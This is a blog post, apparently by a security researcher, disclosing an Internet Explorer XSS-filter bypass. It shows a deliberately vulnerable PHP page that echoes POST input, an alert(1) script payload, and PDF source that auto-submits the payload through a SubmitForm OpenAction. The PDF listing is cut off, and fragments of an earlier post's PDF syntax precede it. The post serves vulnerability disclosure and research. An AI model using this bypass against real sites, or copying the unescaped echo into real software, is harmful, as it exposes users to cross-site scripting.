<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/DS(font: Helvetica,sans-serif 12.0pt;
text-align:left; color:#E52237 )</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/F 4</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/M(D:20160821215711+02'00')</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/NM(e85d1cb2-2c79-40f5-a2a2-83708ab127c9)</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Page 0</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/RC(<?xml version="1.0"?><body
xmlns="http://www.w3.org/1999/xhtml"
xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"
xfa:APIVersion="Acrobat:15.17.0" xfa:spec="2.0.2"
style="font-size:12.0pt;text-align:left;color:#FF0000;font-weight:normal;font-style:norm\</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">al;font-family:Helvetica,sans-serif;font-stretch:normal"><p
dir="ltr"><span
style="font-family:Helvetica">Hjj</span></p></body>)</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Rect[0 0 0 0]</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Subj(Textfeld)</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Subtype/FreeText</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/T(johnny)</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">/Type/Annot</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">>></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"> </span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">endobj</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;">trailer</span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 10pt;"><</Root 1 0 R>></span></i><span lang="EN-GB" style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<i><span style="font-family: "times new roman" , serif; font-size: 10pt;">%%EOF</span></i><span style="font-family: "times new roman" , serif; font-size: 13.5pt;"><o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm;">
<br /></div>
<br />
<div class="MsoNormal">
<br /></div>
Alex Inführhttp://www.blogger.com/profile/02302212768418073299[email protected]tag:blogger.com,1999:blog-5886761914763804909.post-19296559341738411142017-01-22T01:38:00.001-08:002017-01-22T04:29:20.033-08:00Internet Explorer XSS Filter Bypass for POST with PDF<br />
<h2>
IE XSS Filter Bypass with PDF</h2>
<div>
<br /></div>
<div>
I recently discovered an interesting issue in Internet Explorer regarding bypassing the XSS filter, which I am going to share with you.</div>
<div>
Once again, assume the following scenario. The website on example.com suffers from a reflected XSS vulnerability in a POST payload:</div>
<div>
<br /></div>
<div>
<u><b>test.php</b></u></div>
<div>
<pre style="background: rgb(255, 255, 255);"><span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">h1</span><span style="color: #a65700;">></span>xss test<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">h1</span><span style="color: #a65700;">></span>
<span style="background: rgb(255 , 255 , 232); color: #5f5035;"><?php</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: maroon; font-weight: bold;">echo</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #797997;">$_POST</span><span style="background: rgb(255 , 255 , 232); color: #808030;">[</span><span style="background: rgb(255 , 255 , 232); color: #0000e6;">'xss'</span><span style="background: rgb(255 , 255 , 232); color: #808030;">]</span><span style="background: rgb(255 , 255 , 232); color: purple;">;</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #5f5035;">?></span>
<span style="color: #a65700;"><</span><span style="color: maroon; font-weight: bold;">div</span><span style="color: #a65700;">></span>end<span style="color: #a65700;"></</span><span style="color: maroon; font-weight: bold;">div</span><span style="color: #a65700;">></span></pre>
<pre style="background: rgb(255, 255, 255);"><span style="color: #a65700;">
</span></pre>
<pre style="background: rgb(255, 255, 255);"></pre>
<div>
Assuming the web page sets all the necessary headers, a post payload like xss=<script>alert(1)</script> will trigger the XSS filter and be caught.</div>
</div>
<div>
Let's bypass this restriction:</div>
<div>
<br /></div>
<div>
<br /></div>
<h3>
PDF - SubmitForm Action</h3>
<div>
<br /></div>
<div>
The PDF specification describes the <a href="http://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=703">SubmitForm </a>action, which allows PDF to submit the AcroForm in different formats. One of the possible formats is HTML. Additionally it is possible to specify if a GET or POST request should be used. The response is rendered in the web browser. </div>
<div>
While playing with the feature I discovered that Internet Explorer will never trigger the XSS filter for sent POST requests. This allows to abuse a reflected XSS vulnerability with any payload, without worrying about the XSS filter. </div>
<div>
The following PDF will automatically submit a POST request to http://example.com/test.php. The payload contains xss=<script>alert(1)</script>:</div>
<div>
<br /></div>
<div>
<pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"><pre style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"><span style="background: rgb(255 , 255 , 232); color: #808030;">%</span><span style="background: rgb(255, 255, 232);">PDF</span><span style="background: rgb(255 , 255 , 232); color: #808030;">-</span><span style="background: rgb(255 , 255 , 232); color: green;">1.1</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">1</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Type</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Catalog</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Outlines </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">2</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Pages </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">3</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">OpenAction </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">33</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">AcroForm </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">22</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">2</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Type</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Outlines</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Count</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">3</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Type</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Pages</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Kids </span><span style="background: rgb(255 , 255 , 232); color: #808030;">[</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">4</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background: rgb(255 , 255 , 232); color: #808030;">]</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Count</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">1</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">4</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Type</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Page</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Annot </span><span style="background: rgb(255 , 255 , 232); color: #808030;">[</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">23</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R </span><span style="background: rgb(255 , 255 , 232); color: #808030;">]</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Parent </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">3</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">MediaBox </span><span style="background: rgb(255 , 255 , 232); color: #808030;">[</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">612</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">792</span><span style="background: rgb(255 , 255 , 232); color: #808030;">]</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Contents </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">5</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Resources </span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">ProcSet </span><span style="background: rgb(255 , 255 , 232); color: #808030;">[</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">PDF </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Text</span><span style="background: rgb(255 , 255 , 232); color: #808030;">]</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Font </span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">F1 </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">6</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> R </span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">5</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Length </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">56</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">stream</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">BT </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">F1 </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">12</span><span style="background: rgb(255, 255, 232);"> Tf </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">100</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">700</span><span style="background: rgb(255, 255, 232);"> Td </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">15</span><span style="background: rgb(255, 255, 232);"> TL </span><span style="background: rgb(255 , 255 , 232); color: #808030;">(</span><span style="background: rgb(255, 255, 232);">JavaScript example</span><span style="background: rgb(255 , 255 , 232); color: #808030;">)</span><span style="background: rgb(255, 255, 232);"> Tj ET</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endstream</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">6</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Type</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Font</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Subtype </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Type1</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255 , 255 , 232); color: #400000;">Name</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">F1</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">BaseFont </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Helvetica</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">Encoding </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">MacRomanEncoding</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);">endobj</span><span style="background-color: white;">
</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #008c00;">33</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #008c00;">0</span><span style="background: rgb(255, 255, 232);"> obj</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">S </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">SubmitForm</span><span style="background-color: white;">
</span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">F</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background: rgb(255 , 255 , 232); color: #808030;"><</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background-color: yellow;"><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #808030;">%</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial;"> URL TO SUBMIT </span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: #e34adc;">TO</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; color: purple;">:</span></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">F </span><span style="background: rgb(255 , 255 , 232); color: #808030;">(</span><span style="background: rgb(255 , 255 , 232); color: #e34adc;">http</span><span style="background: rgb(255 , 255 , 232); color: purple;">:</span><span style="background: rgb(255, 255, 232); color: dimgrey;">//example.com/test.php)</span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">FS </span><span style="background: rgb(255 , 255 , 232); color: #808030;">/</span><span style="background: rgb(255, 255, 232);">URL</span><span style="background-color: white;">
</span><span style="background: rgb(255, 255, 232);"> </span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background: rgb(255 , 255 , 232); color: #808030;">></span><span style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; background: rgb(255, 255, 232);"></span><span style="background-color: white;">
